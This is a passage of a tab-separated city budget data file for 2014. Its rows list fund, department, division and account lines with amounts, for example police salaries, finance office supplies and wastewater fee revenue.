4624	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544400.0	COMMUNITY ARTS GRANT	810.0	 Supplies and Expenses	2014	130000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	130000.0
4625	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	124265.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	124265.0
4626	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2014	10255.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10255.0
4627	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2014	45000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	45000.0
4628	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	1453.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1453.0
4629	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1264428.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1264428.0
4630	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	87000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	87000.0
4631	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	108278.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	108278.0
4632	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1977441.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1977441.0
4633	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
4634	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	20551.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20551.0
4635	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
4636	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511490.0	OVERTIME	806.0	Salaries and Wages	2014	100268.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100268.0
4637	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511650.0	POLICE CADETS	806.0	Salaries and Wages	2014	145213.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	145213.0
4638	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2014	38160.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	38160.0
4639	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522160.0	TRANSFER STATION FEE	806.0	 Supplies and Expenses	2014	1174.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1174.0
4640	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533020.0	GENERAL LIABILITY / AUTO	806.0	 Supplies and Expenses	2014	577219.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	577219.0
4641	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544060.0	JAIL SUPPLIES	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4642	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
4643	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555250.0	MEDICAL SERVICES	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4644	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511500.0	TEMPORARY EMPLOYEES	806.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4645	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522620.0	RENT	806.0	 Supplies and Expenses	2014	1750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1750.0
4646	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	544340.0	INDIRECT COST ALLOCATION	810.0	 Supplies and Expenses	2014	94201.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	94201.0
4647	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
4648	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	816305.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	816305.0
4649	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2014	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
4650	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2014	1026.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1026.0
4651	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2014	167551.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	167551.0
4652	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	903977.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	903977.0
4653	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2014	2800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2800.0
4654	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-484108.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-484108.0
4655	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2014	10304.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10304.0
4656	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	27675.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	27675.0
4657	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533600.0	CONF / MTGS / TRAVEL-KM	804.0	 Supplies and Expenses	2014	2975.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2975.0
4658	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511490.0	OVERTIME	804.0	Salaries and Wages	2014	4164.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4164.0
4659	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	10800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10800.0
4660	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	39000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	39000.0
4661	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4662	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511500.0	TEMPORARY EMPLOYEES	806.0	Salaries and Wages	2014	65187.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	65187.0
4663	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2014	3169.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3169.0
4664	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2014	5146.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5146.0
4665	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2014	5085.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5085.0
4666	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555210.0	TRAINING	806.0	 Supplies and Expenses	2014	317750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	317750.0
4667	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511650.0	POLICE CADETS	806.0	Salaries and Wages	2014	87922.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	87922.0
4668	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	923.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	923.0
4669	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	2091.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2091.0
4670	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2014	27798.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	27798.0
4671	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	8000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8000.0
4672	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	2050.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2050.0
4673	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1833294.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1833294.0
4674	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
4675	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	533230.0	SECURITY SYSTEMS	804.0	 Supplies and Expenses	2014	4523.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4523.0
4676	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2014	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
4677	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	70715.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70715.0
4678	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2014	223432.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	223432.0
4679	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2014	193531.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	193531.0
4680	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2014	695014.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	695014.0
4681	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2014	20500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20500.0
4682	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555110.0	LEGAL EXPENSE	806.0	 Supplies and Expenses	2014	51250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	51250.0
4683	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566500.0	RECRUITING	806.0	 Supplies and Expenses	2014	17425.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17425.0
4684	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	566870.0	HORSE PATROL	806.0	 Supplies and Expenses	2014	16750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16750.0
4685	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2014	17425.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17425.0
4686	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	555210.0	TRAINING	806.0	 Supplies and Expenses	2014	10455.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10455.0
4687	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2014	256.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	256.0
4688	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4689	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	555250.0	MEDICAL SERVICES	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4690	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2014	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
4691	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	401430.0	CONN/CAP PERMIT FEES	650.0	Charges for Service	2014	-16000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-16000.0
4692	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	402630.0	WASTEWATER MISC NON-OPERATING	662.0	Other	2014	-1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1000.0
4693	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	18963.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18963.0
4694	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	23000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23000.0
4695	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
4696	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	6500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6500.0
4697	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
4698	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	18258.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18258.0
4699	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	2348.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2348.0
4700	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	577040.0	AUDIT FEES	804.0	 Supplies and Expenses	2014	124106.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	124106.0
4701	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	3775.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3775.0
4702	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	96262.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	96262.0
4703	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2014	1607.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1607.0
4704	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522130.0	UTILITIES - WATER	806.0	 Supplies and Expenses	2014	5228.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5228.0
4705	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2014	14318.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14318.0
4706	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533210.0	BLDG OPER / CUST SUPPLIES	806.0	 Supplies and Expenses	2014	11501.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11501.0
4707	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2014	8750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8750.0
4708	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566140.0	INVESTIGATION EXPENSE	806.0	 Supplies and Expenses	2014	2938.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2938.0
4709	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2014	17508418.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17508418.0
4710	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511490.0	OVERTIME	806.0	Salaries and Wages	2014	2932140.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2932140.0
4711	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2014	-1337.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1337.0
4712	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	416960.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	416960.0
4713	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2014	5463.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5463.0
4714	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	577410.0	SITE IMPROVEMENTS	816.0	 Supplies and Expenses	2014	8069.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8069.0
4715	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2014	8615.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8615.0
4716	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533120.0	SPECIAL EQUIP MAINT	816.0	 Supplies and Expenses	2014	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
4717	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	555210.0	TRAINING	816.0	 Supplies and Expenses	2014	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
4718	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2014	19479.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19479.0
4719	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	25625.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25625.0
4720	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2014	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
4721	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	57657.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	57657.0
4722	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	2318620.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2318620.0
4723	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2014	4182.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4182.0
4724	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	29375.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	29375.0
4725	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	401660.0	WASTEWATER CAPITAL FAC FEES	650.0	Charges for Service	2014	-400000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-400000.0
4726	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	401990.0	SADDLE FEES	650.0	Charges for Service	2014	-39000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-39000.0
4727	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTE WATER	405500.0	STORMWATER MGMT USER FEE	650.0	Charges for Service	2014	-1240000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1240000.0
4728	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	17083.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17083.0
4729	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	16652.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16652.0
4730	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	6300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6300.0
4731	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511040.0	COUNCIL/BOARD ALLOWANCE	804.0	Salaries and Wages	2014	108678.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	108678.0
4732	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522620.0	RENT	804.0	 Supplies and Expenses	2014	147115.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	147115.0
4733	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
4734	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2014	308.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	308.0
4735	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2014	256.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	256.0
4736	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	64936.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	64936.0
4737	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	555180.0	PHOTOGRAPHIC EXPENSE	806.0	 Supplies and Expenses	2014	167.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	167.0
4738	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2014	9653020.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9653020.0
4739	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2014	88740.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	88740.0
4740	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	26576.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	26576.0
4741	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	555180.0	PHOTOGRAPHIC EXPENSE	806.0	 Supplies and Expenses	2014	1025.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1025.0
4742	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	566240.0	PARKING METER ENFORCEMENT	806.0	 Supplies and Expenses	2014	32075.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	32075.0
